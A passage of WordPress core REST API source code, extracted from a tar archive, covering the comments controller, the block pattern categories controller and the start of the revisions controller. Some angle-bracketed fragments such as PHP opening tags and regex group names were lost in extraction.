the request. * @return true|WP_Error True if the request has access to update the item, error object otherwise. */ public function update_item_permissions_check( $request ) { $comment = $this->get_comment( $request['id'] ); if ( is_wp_error( $comment ) ) { return $comment; } if ( ! $this->check_edit_permission( $comment ) ) { return new WP_Error( 'rest_cannot_edit', __( 'Sorry, you are not allowed to edit this comment.' ), array( 'status' => rest_authorization_required_code() ) ); } return true; } /** * Updates a comment. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or error object on failure. */ public function update_item( $request ) { $comment = $this->get_comment( $request['id'] ); if ( is_wp_error( $comment ) ) { return $comment; } $id = $comment->comment_ID; if ( isset( $request['type'] ) && get_comment_type( $id ) !== $request['type'] ) { return new WP_Error( 'rest_comment_invalid_type', __( 'Sorry, you are not allowed to change the comment type.' ), array( 'status' => 404 ) ); } $prepared_args = $this->prepare_item_for_database( $request ); if ( is_wp_error( $prepared_args ) ) { return $prepared_args; } if ( ! empty( $prepared_args['comment_post_ID'] ) ) { $post = get_post( $prepared_args['comment_post_ID'] ); if ( empty( $post ) ) { return new WP_Error( 'rest_comment_invalid_post_id', __( 'Invalid post ID.' ), array( 'status' => 403 ) ); } } if ( empty( $prepared_args ) && isset( $request['status'] ) ) { // Only the comment status is being changed. $change = $this->handle_status_param( $request['status'], $id ); if ( ! $change ) { return new WP_Error( 'rest_comment_failed_edit', __( 'Updating comment status failed.' ), array( 'status' => 500 ) ); } } elseif ( ! empty( $prepared_args ) ) { if ( is_wp_error( $prepared_args ) ) { return $prepared_args; } if ( ! $this->check_is_comment_content_allowed( $prepared_args ) ) { return new WP_Error( 'rest_comment_content_invalid', __( 'Invalid comment content.' ), array( 'status' => 400 ) ); } $prepared_args['comment_ID'] = $id; $check_comment_lengths = wp_check_comment_data_max_lengths( $prepared_args ); if ( is_wp_error( $check_comment_lengths ) ) { $error_code = $check_comment_lengths->get_error_code(); return new WP_Error( $error_code, __( 'Comment field exceeds maximum length allowed.' ), array( 'status' => 400 ) ); } $updated = wp_update_comment( wp_slash( (array) $prepared_args ), true ); if ( is_wp_error( $updated ) ) { return new WP_Error( 'rest_comment_failed_edit', __( 'Updating comment failed.' ), array( 'status' => 500 ) ); } if ( isset( $request['status'] ) ) { $this->handle_status_param( $request['status'], $id ); } } $comment = get_comment( $id ); /** This action is documented in wp-includes/rest-api/endpoints/class-wp-rest-comments-controller.php */ do_action( 'rest_insert_comment', $comment, $request, false ); $schema = $this->get_item_schema(); if ( ! empty( $schema['properties']['meta'] ) && isset( $request['meta'] ) ) { $meta_update = $this->meta->update_value( $request['meta'], $id ); if ( is_wp_error( $meta_update ) ) { return $meta_update; } } $fields_update = $this->update_additional_fields_for_object( $comment, $request ); if ( is_wp_error( $fields_update ) ) { return $fields_update; } $request->set_param( 'context', 'edit' ); /** This action is documented in wp-includes/rest-api/endpoints/class-wp-rest-comments-controller.php */ do_action( 'rest_after_insert_comment', $comment, $request, false ); $response = $this->prepare_item_for_response( $comment, $request ); return rest_ensure_response( $response ); } /** * Checks if a given request has access to delete a comment. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has access to delete the item, error object otherwise. */ public function delete_item_permissions_check( $request ) { $comment = $this->get_comment( $request['id'] ); if ( is_wp_error( $comment ) ) { return $comment; } if ( ! $this->check_edit_permission( $comment ) ) { return new WP_Error( 'rest_cannot_delete', __( 'Sorry, you are not allowed to delete this comment.' ), array( 'status' => rest_authorization_required_code() ) ); } return true; } /** * Deletes a comment. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or error object on failure. */ public function delete_item( $request ) { $comment = $this->get_comment( $request['id'] ); if ( is_wp_error( $comment ) ) { return $comment; } $force = isset( $request['force'] ) ? (bool) $request['force'] : false; /** * Filters whether a comment can be trashed via the REST API. * * Return false to disable trash support for the comment. * * @since 4.7.0 * * @param bool $supports_trash Whether the comment supports trashing. * @param WP_Comment $comment The comment object being considered for trashing support. */ $supports_trash = apply_filters( 'rest_comment_trashable', ( EMPTY_TRASH_DAYS > 0 ), $comment ); $request->set_param( 'context', 'edit' ); if ( $force ) { $previous = $this->prepare_item_for_response( $comment, $request ); $result = wp_delete_comment( $comment->comment_ID, true ); $response = new WP_REST_Response(); $response->set_data( array( 'deleted' => true, 'previous' => $previous->get_data(), ) ); } else { // If this type doesn't support trashing, error out. if ( ! $supports_trash ) { return new WP_Error( 'rest_trash_not_supported', /* translators: %s: force=true */ sprintf( __( "The comment does not support trashing. Set '%s' to delete." ), 'force=true' ), array( 'status' => 501 ) ); } if ( 'trash' === $comment->comment_approved ) { return new WP_Error( 'rest_already_trashed', __( 'The comment has already been trashed.' ), array( 'status' => 410 ) ); } $result = wp_trash_comment( $comment->comment_ID ); $comment = get_comment( $comment->comment_ID ); $response = $this->prepare_item_for_response( $comment, $request ); } if ( ! $result ) { return new WP_Error( 'rest_cannot_delete', __( 'The comment cannot be deleted.' ), array( 'status' => 500 ) ); } /** * Fires after a comment is deleted via the REST API. * * @since 4.7.0 * * @param WP_Comment $comment The deleted comment data. * @param WP_REST_Response $response The response returned from the API. * @param WP_REST_Request $request The request sent to the API. */ do_action( 'rest_delete_comment', $comment, $response, $request ); return $response; } /** * Prepares a single comment output for response. * * @since 4.7.0 * @since 5.9.0 Renamed `$comment` to `$item` to match parent class for PHP 8 named parameter support. * * @param WP_Comment $item Comment object. * @param WP_REST_Request $request Request object. * @return WP_REST_Response Response object. */ public function prepare_item_for_response( $item, $request ) { // Restores the more descriptive, specific name for use within this method. $comment = $item; // Don't prepare the response body for HEAD requests. if ( $request->is_method( 'HEAD' ) ) { /** This filter is documented in wp-includes/rest-api/endpoints/class-wp-rest-comments-controller.php */ return apply_filters( 'rest_prepare_comment', new WP_REST_Response( array() ), $comment, $request ); } $fields = $this->get_fields_for_response( $request ); $data = array(); if ( in_array( 'id', $fields, true ) ) { $data['id'] = (int) $comment->comment_ID; } if ( in_array( 'post', $fields, true ) ) { $data['post'] = (int) $comment->comment_post_ID; } if ( in_array( 'parent', $fields, true ) ) { $data['parent'] = (int) $comment->comment_parent; } if ( in_array( 'author', $fields, true ) ) { $data['author'] = (int) $comment->user_id; } if ( in_array( 'author_name', $fields, true ) ) { $data['author_name'] = $comment->comment_author; } if ( in_array( 'author_email', $fields, true ) ) { $data['author_email'] = $comment->comment_author_email; } if ( in_array( 'author_url', $fields, true ) ) { $data['author_url'] = $comment->comment_author_url; } if ( in_array( 'author_ip', $fields, true ) ) { $data['author_ip'] = $comment->comment_author_IP; } if ( in_array( 'author_user_agent', $fields, true ) ) { $data['author_user_agent'] = $comment->comment_agent; } if ( in_array( 'date', $fields, true ) ) { $data['date'] = mysql_to_rfc3339( $comment->comment_date ); } if ( in_array( 'date_gmt', $fields, true ) ) { $data['date_gmt'] = mysql_to_rfc3339( $comment->comment_date_gmt ); } if ( in_array( 'content', $fields, true ) ) { $data['content'] = array( /** This filter is documented in wp-includes/comment-template.php */ 'rendered' => apply_filters( 'comment_text', $comment->comment_content, $comment, array() ), 'raw' => $comment->comment_content, ); } if ( in_array( 'link', $fields, true ) ) { $data['link'] = get_comment_link( $comment ); } if ( in_array( 'status', $fields, true ) ) { $data['status'] = $this->prepare_status_response( $comment->comment_approved ); } if ( in_array( 'type', $fields, true ) ) { $data['type'] = get_comment_type( $comment->comment_ID ); } if ( in_array( 'author_avatar_urls', $fields, true ) ) { $data['author_avatar_urls'] = rest_get_avatar_urls( $comment ); } if ( in_array( 'meta', $fields, true ) ) { $data['meta'] = $this->meta->get_value( $comment->comment_ID, $request ); } $context = ! empty( $request['context'] ) ? $request['context'] : 'view'; $data = $this->add_additional_fields_to_object( $data, $request ); $data = $this->filter_response_by_context( $data, $context ); // Wrap the data in a response object. $response = rest_ensure_response( $data ); if ( rest_is_field_included( '_links', $fields ) || rest_is_field_included( '_embedded', $fields ) ) { $response->add_links( $this->prepare_links( $comment ) ); } /** * Filters a comment returned from the REST API. * * Allows modification of the comment right before it is returned. * * @since 4.7.0 * * @param WP_REST_Response $response The response object. * @param WP_Comment $comment The original comment object. * @param WP_REST_Request $request Request used to generate the response. */ return apply_filters( 'rest_prepare_comment', $response, $comment, $request ); } /** * Prepares links for the request. * * @since 4.7.0 * * @param WP_Comment $comment Comment object. * @return array Links for the given comment. */ protected function prepare_links( $comment ) { $links = array( 'self' => array( 'href' => rest_url( sprintf( '%s/%s/%d', $this->namespace, $this->rest_base, $comment->comment_ID ) ), ), 'collection' => array( 'href' => rest_url( sprintf( '%s/%s', $this->namespace, $this->rest_base ) ), ), ); if ( 0 !== (int) $comment->user_id ) { $links['author'] = array( 'href' => rest_url( 'wp/v2/users/' . $comment->user_id ), 'embeddable' => true, ); } if ( 0 !== (int) $comment->comment_post_ID ) { $post = get_post( $comment->comment_post_ID ); $post_route = rest_get_route_for_post( $post ); if ( ! empty( $post->ID ) && $post_route ) { $links['up'] = array( 'href' => rest_url( $post_route ), 'embeddable' => true, 'post_type' => $post->post_type, ); } } if ( 0 !== (int) $comment->comment_parent ) { $links['in-reply-to'] = array( 'href' => rest_url( sprintf( '%s/%s/%d', $this->namespace, $this->rest_base, $comment->comment_parent ) ), 'embeddable' => true, ); } // Only grab one comment to verify the comment has children. $comment_children = $comment->get_children( array( 'count' => true, 'orderby' => 'none', 'type' => 'all', ) ); if ( ! empty( $comment_children ) ) { $args = array( 'parent' => $comment->comment_ID, ); $rest_url = add_query_arg( $args, rest_url( $this->namespace . '/' . $this->rest_base ) ); $links['children'] = array( 'href' => $rest_url, 'embeddable' => true, ); } // Embedding children for notes requires `type` and `status` inheritance. if ( isset( $links['children'] ) && 'note' === $comment->comment_type ) { $args = array( 'parent' => $comment->comment_ID, 'type' => $comment->comment_type, 'status' => 'all', ); $rest_url = add_query_arg( $args, rest_url( $this->namespace . '/' . $this->rest_base ) ); $links['children'] = array( 'href' => $rest_url, 'embeddable' => true, ); } return $links; } /** * Prepends internal property prefix to query parameters to match our response fields. * * @since 4.7.0 * * @param string $query_param Query parameter. * @return string The normalized query parameter. */ protected function normalize_query_param( $query_param ) { $prefix = 'comment_'; switch ( $query_param ) { case 'id': $normalized = $prefix . 'ID'; break; case 'post': $normalized = $prefix . 'post_ID'; break; case 'parent': $normalized = $prefix . 'parent'; break; case 'include': $normalized = 'comment__in'; break; default: $normalized = $prefix . $query_param; break; } return $normalized; } /** * Checks comment_approved to set comment status for single comment output. * * @since 4.7.0 * * @param string $comment_approved Comment status. * @return string Comment status. */ protected function prepare_status_response( $comment_approved ) { switch ( $comment_approved ) { case 'hold': case '0': $status = 'hold'; break; case 'approve': case '1': $status = 'approved'; break; case 'spam': case 'trash': default: $status = $comment_approved; break; } return $status; } /** * Prepares a single comment to be inserted into the database. * * @since 4.7.0 * * @param WP_REST_Request $request Request object. * @return array|WP_Error Prepared comment, otherwise WP_Error object. */ protected function prepare_item_for_database( $request ) { $prepared_comment = array(); /* * Allow the comment_content to be set via the 'content' or * the 'content.raw' properties of the Request object. */ if ( isset( $request['content'] ) && is_string( $request['content'] ) ) { $prepared_comment['comment_content'] = trim( $request['content'] ); } elseif ( isset( $request['content']['raw'] ) && is_string( $request['content']['raw'] ) ) { $prepared_comment['comment_content'] = trim( $request['content']['raw'] ); } if ( isset( $request['post'] ) ) { $prepared_comment['comment_post_ID'] = (int) $request['post']; } if ( isset( $request['parent'] ) ) { $prepared_comment['comment_parent'] = $request['parent']; } if ( isset( $request['author'] ) ) { $user = new WP_User( $request['author'] ); if ( $user->exists() ) { $prepared_comment['user_id'] = $user->ID; $prepared_comment['comment_author'] = $user->display_name; $prepared_comment['comment_author_email'] = $user->user_email; $prepared_comment['comment_author_url'] = $user->user_url; } else { return new WP_Error( 'rest_comment_author_invalid', __( 'Invalid comment author ID.' ), array( 'status' => 400 ) ); } } if ( isset( $request['author_name'] ) ) { $prepared_comment['comment_author'] = $request['author_name']; } if ( isset( $request['author_email'] ) ) { $prepared_comment['comment_author_email'] = $request['author_email']; } if ( isset( $request['author_url'] ) ) { $prepared_comment['comment_author_url'] = $request['author_url']; } if ( isset( $request['author_ip'] ) && current_user_can( 'moderate_comments' ) ) { $prepared_comment['comment_author_IP'] = $request['author_ip']; } elseif ( ! empty( $_SERVER['REMOTE_ADDR'] ) && rest_is_ip_address( $_SERVER['REMOTE_ADDR'] ) ) { $prepared_comment['comment_author_IP'] = $_SERVER['REMOTE_ADDR']; } else { $prepared_comment['comment_author_IP'] = '127.0.0.1'; } if ( ! empty( $request['author_user_agent'] ) ) { $prepared_comment['comment_agent'] = $request['author_user_agent']; } elseif ( $request->get_header( 'user_agent' ) ) { $prepared_comment['comment_agent'] = $request->get_header( 'user_agent' ); } if ( ! empty( $request['date'] ) ) { $date_data = rest_get_date_with_gmt( $request['date'] ); if ( ! empty( $date_data ) ) { list( $prepared_comment['comment_date'], $prepared_comment['comment_date_gmt'] ) = $date_data; } } elseif ( ! empty( $request['date_gmt'] ) ) { $date_data = rest_get_date_with_gmt( $request['date_gmt'], true ); if ( ! empty( $date_data ) ) { list( $prepared_comment['comment_date'], $prepared_comment['comment_date_gmt'] ) = $date_data; } } /** * Filters a comment added via the REST API after it is prepared for insertion into the database. * * Allows modification of the comment right after it is prepared for the database. * * @since 4.7.0 * * @param array $prepared_comment The prepared comment data for `wp_insert_comment`. * @param WP_REST_Request $request The current request. */ return apply_filters( 'rest_preprocess_comment', $prepared_comment, $request ); } /** * Retrieves the comment's schema, conforming to JSON Schema. * * @since 4.7.0 * * @return array */ public function get_item_schema() { if ( $this->schema ) { return $this->add_additional_fields_schema( $this->schema ); } $schema = array( '$schema' => 'http://json-schema.org/draft-04/schema#', 'title' => 'comment', 'type' => 'object', 'properties' => array( 'id' => array( 'description' => __( 'Unique identifier for the comment.' ), 'type' => 'integer', 'context' => array( 'view', 'edit', 'embed' ), 'readonly' => true, ), 'author' => array( 'description' => __( 'The ID of the user object, if author was a user.' ), 'type' => 'integer', 'context' => array( 'view', 'edit', 'embed' ), ), 'author_email' => array( 'description' => __( 'Email address for the comment author.' ), 'type' => 'string', 'format' => 'email', 'context' => array( 'edit' ), 'arg_options' => array( 'sanitize_callback' => array( $this, 'check_comment_author_email' ), 'validate_callback' => null, // Skip built-in validation of 'email'. ), ), 'author_ip' => array( 'description' => __( 'IP address for the comment author.' ), 'type' => 'string', 'format' => 'ip', 'context' => array( 'edit' ), ), 'author_name' => array( 'description' => __( 'Display name for the comment author.' ), 'type' => 'string', 'context' => array( 'view', 'edit', 'embed' ), 'arg_options' => array( 'sanitize_callback' => 'sanitize_text_field', ), ), 'author_url' => array( 'description' => __( 'URL for the comment author.' ), 'type' => 'string', 'format' => 'uri', 'context' => array( 'view', 'edit', 'embed' ), ), 'author_user_agent' => array( 'description' => __( 'User agent for the comment author.' ), 'type' => 'string', 'context' => array( 'edit' ), 'arg_options' => array( 'sanitize_callback' => 'sanitize_text_field', ), ), 'content' => array( 'description' => __( 'The content for the comment.' ), 'type' => 'object', 'context' => array( 'view', 'edit', 'embed' ), 'arg_options' => array( 'sanitize_callback' => null, // Note: sanitization implemented in self::prepare_item_for_database(). 'validate_callback' => null, // Note: validation implemented in self::prepare_item_for_database(). ), 'properties' => array( 'raw' => array( 'description' => __( 'Content for the comment, as it exists in the database.' ), 'type' => 'string', 'context' => array( 'edit' ), ), 'rendered' => array( 'description' => __( 'HTML content for the comment, transformed for display.' ), 'type' => 'string', 'context' => array( 'view', 'edit', 'embed' ), 'readonly' => true, ), ), ), 'date' => array( 'description' => __( "The date the comment was published, in the site's timezone." ), 'type' => 'string', 'format' => 'date-time', 'context' => array( 'view', 'edit', 'embed' ), ), 'date_gmt' => array( 'description' => __( 'The date the comment was published, as GMT.' ), 'type' => 'string', 'format' => 'date-time', 'context' => array( 'view', 'edit' ), ), 'link' => array( 'description' => __( 'URL to the comment.' ), 'type' => 'string', 'format' => 'uri', 'context' => array( 'view', 'edit', 'embed' ), 'readonly' => true, ), 'parent' => array( 'description' => __( 'The ID for the parent of the comment.' ), 'type' => 'integer', 'context' => array( 'view', 'edit', 'embed' ), 'default' => 0, ), 'post' => array( 'description' => __( 'The ID of the associated post object.' ), 'type' => 'integer', 'context' => array( 'view', 'edit' ), 'default' => 0, ), 'status' => array( 'description' => __( 'State of the comment.' ), 'type' => 'string', 'context' => array( 'view', 'edit' ), 'arg_options' => array( 'sanitize_callback' => 'sanitize_key', ), ), 'type' => array( 'description' => __( 'Type of the comment.' ), 'type' => 'string', 'context' => array( 'view', 'edit', 'embed' ), 'readonly' => true, 'default' => 'comment', ), ), ); if ( get_option( 'show_avatars' ) ) { $avatar_properties = array(); $avatar_sizes = rest_get_avatar_sizes(); foreach ( $avatar_sizes as $size ) { $avatar_properties[ $size ] = array( /* translators: %d: Avatar image size in pixels. */ 'description' => sprintf( __( 'Avatar URL with image size of %d pixels.' ), $size ), 'type' => 'string', 'format' => 'uri', 'context' => array( 'embed', 'view', 'edit' ), ); } $schema['properties']['author_avatar_urls'] = array( 'description' => __( 'Avatar URLs for the comment author.' ), 'type' => 'object', 'context' => array( 'view', 'edit', 'embed' ), 'readonly' => true, 'properties' => $avatar_properties, ); } $schema['properties']['meta'] = $this->meta->get_field_schema(); $this->schema = $schema; return $this->add_additional_fields_schema( $this->schema ); } /** * Retrieves the query params for collections. * * @since 4.7.0 * * @return array Comments collection parameters. */ public function get_collection_params() { $query_params = parent::get_collection_params(); $query_params['context']['default'] = 'view'; $query_params['after'] = array( 'description' => __( 'Limit response to comments published after a given ISO8601 compliant date.' ), 'type' => 'string', 'format' => 'date-time', ); $query_params['author'] = array( 'description' => __( 'Limit result set to comments assigned to specific user IDs. Requires authorization.' ), 'type' => 'array', 'items' => array( 'type' => 'integer', ), ); $query_params['author_exclude'] = array( 'description' => __( 'Ensure result set excludes comments assigned to specific user IDs. Requires authorization.' ), 'type' => 'array', 'items' => array( 'type' => 'integer', ), ); $query_params['author_email'] = array( 'default' => null, 'description' => __( 'Limit result set to that from a specific author email. Requires authorization.' ), 'format' => 'email', 'type' => 'string', ); $query_params['before'] = array( 'description' => __( 'Limit response to comments published before a given ISO8601 compliant date.' ), 'type' => 'string', 'format' => 'date-time', ); $query_params['exclude'] = array( 'description' => __( 'Ensure result set excludes specific IDs.' ), 'type' => 'array', 'items' => array( 'type' => 'integer', ), 'default' => array(), ); $query_params['include'] = array( 'description' => __( 'Limit result set to specific IDs.' ), 'type' => 'array', 'items' => array( 'type' => 'integer', ), 'default' => array(), ); $query_params['offset'] = array( 'description' => __( 'Offset the result set by a specific number of items.' ), 'type' => 'integer', ); $query_params['order'] = array( 'description' => __( 'Order sort attribute ascending or descending.' ), 'type' => 'string', 'default' => 'desc', 'enum' => array( 'asc', 'desc', ), ); $query_params['orderby'] = array( 'description' => __( 'Sort collection by comment attribute.' ), 'type' => 'string', 'default' => 'date_gmt', 'enum' => array( 'date', 'date_gmt', 'id', 'include', 'post', 'parent', 'type', ), ); $query_params['parent'] = array( 'default' => array(), 'description' => __( 'Limit result set to comments of specific parent IDs.' ), 'type' => 'array', 'items' => array( 'type' => 'integer', ), ); $query_params['parent_exclude'] = array( 'default' => array(), 'description' => __( 'Ensure result set excludes specific parent IDs.' ), 'type' => 'array', 'items' => array( 'type' => 'integer', ), ); $query_params['post'] = array( 'default' => array(), 'description' => __( 'Limit result set to comments assigned to specific post IDs.' ), 'type' => 'array', 'items' => array( 'type' => 'integer', ), ); $query_params['status'] = array( 'default' => 'approve', 'description' => __( 'Limit result set to comments assigned a specific status. Requires authorization.' ), 'sanitize_callback' => 'sanitize_key', 'type' => 'string', 'validate_callback' => 'rest_validate_request_arg', ); $query_params['type'] = array( 'default' => 'comment', 'description' => __( 'Limit result set to comments assigned a specific type. Requires authorization.' ), 'sanitize_callback' => 'sanitize_key', 'type' => 'string', 'validate_callback' => 'rest_validate_request_arg', ); $query_params['password'] = array( 'description' => __( 'The password for the post if it is password protected.' ), 'type' => 'string', ); /** * Filters REST API collection parameters for the comments controller. * * This filter registers the collection parameter, but does not map the * collection parameter to an internal WP_Comment_Query parameter. Use the * `rest_comment_query` filter to set WP_Comment_Query parameters. * * @since 4.7.0 * * @param array $query_params JSON Schema-formatted collection parameters. */ return apply_filters( 'rest_comment_collection_params', $query_params ); } /** * Sets the comment_status of a given comment object when creating or updating a comment. * * @since 4.7.0 * * @param string|int $new_status New comment status. * @param int $comment_id Comment ID. * @return bool Whether the status was changed. */ protected function handle_status_param( $new_status, $comment_id ) { $old_status = wp_get_comment_status( $comment_id ); if ( $new_status === $old_status ) { return false; } switch ( $new_status ) { case 'approved': case 'approve': case '1': $changed = wp_set_comment_status( $comment_id, 'approve' ); break; case 'hold': case '0': $changed = wp_set_comment_status( $comment_id, 'hold' ); break; case 'spam': $changed = wp_spam_comment( $comment_id ); break; case 'unspam': $changed = wp_unspam_comment( $comment_id ); break; case 'trash': $changed = wp_trash_comment( $comment_id ); break; case 'untrash': $changed = wp_untrash_comment( $comment_id ); break; default: $changed = false; break; } return $changed; } /** * Checks if the post can be read. * * Correctly handles posts with the inherit status. * * @since 4.7.0 * * @param WP_Post $post Post object. * @param WP_REST_Request $request Request data to check. * @return bool Whether post can be read. */ protected function check_read_post_permission( $post, $request ) { $post_type = get_post_type_object( $post->post_type ); // Return false if custom post type doesn't exist if ( ! $post_type ) { return false; } $posts_controller = $post_type->get_rest_controller(); /* * Ensure the posts controller is specifically a WP_REST_Posts_Controller instance * before using methods specific to that controller. */ if ( ! $posts_controller instanceof WP_REST_Posts_Controller ) { $posts_controller = new WP_REST_Posts_Controller( $post->post_type ); } $has_password_filter = false; // Only check password if a specific post was queried for or a single comment $requested_post = ! empty( $request['post'] ) && ( ! is_array( $request['post'] ) || 1 === count( $request['post'] ) ); $requested_comment = ! empty( $request['id'] ); if ( ( $requested_post || $requested_comment ) && $posts_controller->can_access_password_content( $post, $request ) ) { add_filter( 'post_password_required', '__return_false' ); $has_password_filter = true; } if ( post_password_required( $post ) ) { $result = current_user_can( 'edit_post', $post->ID ); } else { $result = $posts_controller->check_read_permission( $post ); } if ( $has_password_filter ) { remove_filter( 'post_password_required', '__return_false' ); } return $result; } /** * Checks if the comment can be read. * * @since 4.7.0 * * @param WP_Comment $comment Comment object. * @param WP_REST_Request $request Request data to check. * @return bool Whether the comment can be read. */ protected function check_read_permission( $comment, $request ) { if ( 'note' !== $comment->comment_type && ! empty( $comment->comment_post_ID ) ) { $post = get_post( $comment->comment_post_ID ); if ( $post ) { if ( $this->check_read_post_permission( $post, $request ) && 1 === (int) $comment->comment_approved ) { return true; } } } if ( 0 === get_current_user_id() ) { return false; } if ( empty( $comment->comment_post_ID ) && ! current_user_can( 'moderate_comments' ) ) { return false; } if ( ! empty( $comment->user_id ) && get_current_user_id() === (int) $comment->user_id ) { return true; } return current_user_can( 'edit_comment', $comment->comment_ID ); } /** * Checks if a comment can be edited or deleted. * * @since 4.7.0 * * @param WP_Comment $comment Comment object. * @return bool Whether the comment can be edited or deleted. */ protected function check_edit_permission( $comment ) { if ( 0 === (int) get_current_user_id() ) { return false; } if ( current_user_can( 'moderate_comments' ) ) { return true; } return current_user_can( 'edit_comment', $comment->comment_ID ); } /** * Checks a comment author email for validity. * * Accepts either a valid email address or empty string as a valid comment * author email address. Setting the comment author email to an empty * string is allowed when a comment is being updated. * * @since 4.7.0 * * @param string $value Author email value submitted. * @param WP_REST_Request $request Full details about the request. * @param string $param The parameter name. * @return string|WP_Error The sanitized email address, if valid, * otherwise an error. */ public function check_comment_author_email( $value, $request, $param ) { $email = (string) $value; if ( empty( $email ) ) { return $email; } $check_email = rest_validate_request_arg( $email, $request, $param ); if ( is_wp_error( $check_email ) ) { return $check_email; } return $email; } /** * If empty comments are not allowed, checks if the provided comment content is not empty. * * @since 5.6.0 * * @param array $prepared_comment The prepared comment data. * @return bool True if the content is allowed, false otherwise. */ protected function check_is_comment_content_allowed( $prepared_comment ) { if ( ! isset( $prepared_comment['comment_content'] ) ) { return true; } $check = wp_parse_args( $prepared_comment, array( 'comment_post_ID' => 0, 'comment_author' => null, 'comment_author_email' => null, 'comment_author_url' => null, 'comment_parent' => 0, 'user_id' => 0, ) ); /** This filter is documented in wp-includes/comment.php */ $allow_empty = apply_filters( 'allow_empty_comment', false, $check ); if ( $allow_empty ) { return true; } // Allow empty notes only when resolution metadata is valid. if ( isset( $check['comment_type'] ) && 'note' === $check['comment_type'] && isset( $check['meta']['_wp_note_status'] ) && in_array( $check['meta']['_wp_note_status'], array( 'resolved', 'reopen' ), true ) ) { return true; } /* * Do not allow a comment to be created with missing or empty * comment_content. See wp_handle_comment_submission(). */ return '' !== $check['comment_content']; } /** * Check if post type supports notes. * * @param string $post_type Post type name. * @return bool True if post type supports notes, false otherwise. */ private function check_post_type_supports_notes( $post_type ) { $supports = get_all_post_type_supports( $post_type ); if ( ! isset( $supports['editor'] ) ) { return false; } if ( ! is_array( $supports['editor'] ) ) { return false; } return array_any( $supports['editor'], fn( $item ) => ! empty( $item['notes'] ) ); } } class-wp-rest-block-pattern-categories-controller.php000064400000011316152506367270017047 0ustar00namespace = 'wp/v2'; $this->rest_base = 'block-patterns/categories'; } /** * Registers the routes for the objects of the controller. * * @since 6.0.0 */ public function register_routes() { register_rest_route( $this->namespace, '/' . $this->rest_base, array( array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_items' ), 'permission_callback' => array( $this, 'get_items_permissions_check' ), ), 'schema' => array( $this, 'get_public_item_schema' ), ) ); } /** * Checks whether a given request has permission to read block patterns. * * @since 6.0.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has read access, WP_Error object otherwise. */ public function get_items_permissions_check( $request ) { if ( current_user_can( 'edit_posts' ) ) { return true; } foreach ( get_post_types( array( 'show_in_rest' => true ), 'objects' ) as $post_type ) { if ( current_user_can( $post_type->cap->edit_posts ) ) { return true; } } return new WP_Error( 'rest_cannot_view', __( 'Sorry, you are not allowed to view the registered block pattern categories.' ), array( 'status' => rest_authorization_required_code() ) ); } /** * Retrieves all block pattern categories. * * @since 6.0.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function get_items( $request ) { if ( $request->is_method( 'HEAD' ) ) { // Return early as this handler doesn't add any response headers. return new WP_REST_Response( array() ); } $response = array(); $categories = WP_Block_Pattern_Categories_Registry::get_instance()->get_all_registered(); foreach ( $categories as $category ) { $prepared_category = $this->prepare_item_for_response( $category, $request ); $response[] = $this->prepare_response_for_collection( $prepared_category ); } return rest_ensure_response( $response ); } /** * Prepare a raw block pattern category before it gets output in a REST API response. * * @since 6.0.0 * * @param array $item Raw category as registered, before any changes. * @param WP_REST_Request $request Request object. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function prepare_item_for_response( $item, $request ) { $fields = $this->get_fields_for_response( $request ); $keys = array( 'name', 'label', 'description' ); $data = array(); foreach ( $keys as $key ) { if ( isset( $item[ $key ] ) && rest_is_field_included( $key, $fields ) ) { $data[ $key ] = $item[ $key ]; } } $context = ! empty( $request['context'] ) ? $request['context'] : 'view'; $data = $this->add_additional_fields_to_object( $data, $request ); $data = $this->filter_response_by_context( $data, $context ); return rest_ensure_response( $data ); } /** * Retrieves the block pattern category schema, conforming to JSON Schema. * * @since 6.0.0 * * @return array Item schema data. */ public function get_item_schema() { if ( $this->schema ) { return $this->add_additional_fields_schema( $this->schema ); } $schema = array( '$schema' => 'http://json-schema.org/draft-04/schema#', 'title' => 'block-pattern-category', 'type' => 'object', 'properties' => array( 'name' => array( 'description' => __( 'The category name.' ), 'type' => 'string', 'readonly' => true, 'context' => array( 'view', 'edit', 'embed' ), ), 'label' => array( 'description' => __( 'The category label, in human readable format.' ), 'type' => 'string', 'readonly' => true, 'context' => array( 'view', 'edit', 'embed' ), ), 'description' => array( 'description' => __( 'The category description, in human readable format.' ), 'type' => 'string', 'readonly' => true, 'context' => array( 'view', 'edit', 'embed' ), ), ), ); $this->schema = $schema; return $this->add_additional_fields_schema( $this->schema ); } } class-wp-rest-revisions-controller.php000064400000074074152506367270014212 0ustar00parent_post_type = $parent_post_type; $post_type_object = get_post_type_object( $parent_post_type ); $parent_controller = $post_type_object->get_rest_controller(); if ( ! $parent_controller ) { $parent_controller = new WP_REST_Posts_Controller( $parent_post_type ); } $this->parent_controller = $parent_controller; $this->rest_base = 'revisions'; $this->parent_base = ! empty( $post_type_object->rest_base ) ? $post_type_object->rest_base : $post_type_object->name; $this->namespace = ! empty( $post_type_object->rest_namespace ) ? $post_type_object->rest_namespace : 'wp/v2'; $this->meta = new WP_REST_Post_Meta_Fields( $parent_post_type ); } /** * Registers the routes for revisions based on post types supporting revisions. * * @since 4.7.0 * * @see register_rest_route() */ public function register_routes() { register_rest_route( $this->namespace, '/' . $this->parent_base . '/(?P[\d]+)/' . $this->rest_base, array( 'args' => array( 'parent' => array( 'description' => __( 'The ID for the parent of the revision.' ), 'type' => 'integer', ), ), array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_items' ), 'permission_callback' => array( $this, 'get_items_permissions_check' ), 'args' => $this->get_collection_params(), ), 'schema' => array( $this, 'get_public_item_schema' ), ) ); register_rest_route( $this->namespace, '/' . $this->parent_base . '/(?P[\d]+)/' . $this->rest_base . '/(?P[\d]+)', array( 'args' => array( 'parent' => array( 'description' => __( 'The ID for the parent of the revision.' ), 'type' => 'integer', ), 'id' => array( 'description' => __( 'Unique identifier for the revision.' ), 'type' => 'integer', ), ), array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_item' ), 'permission_callback' => array( $this, 'get_item_permissions_check' ), 'args' => array( 'context' => $this->get_context_param( array( 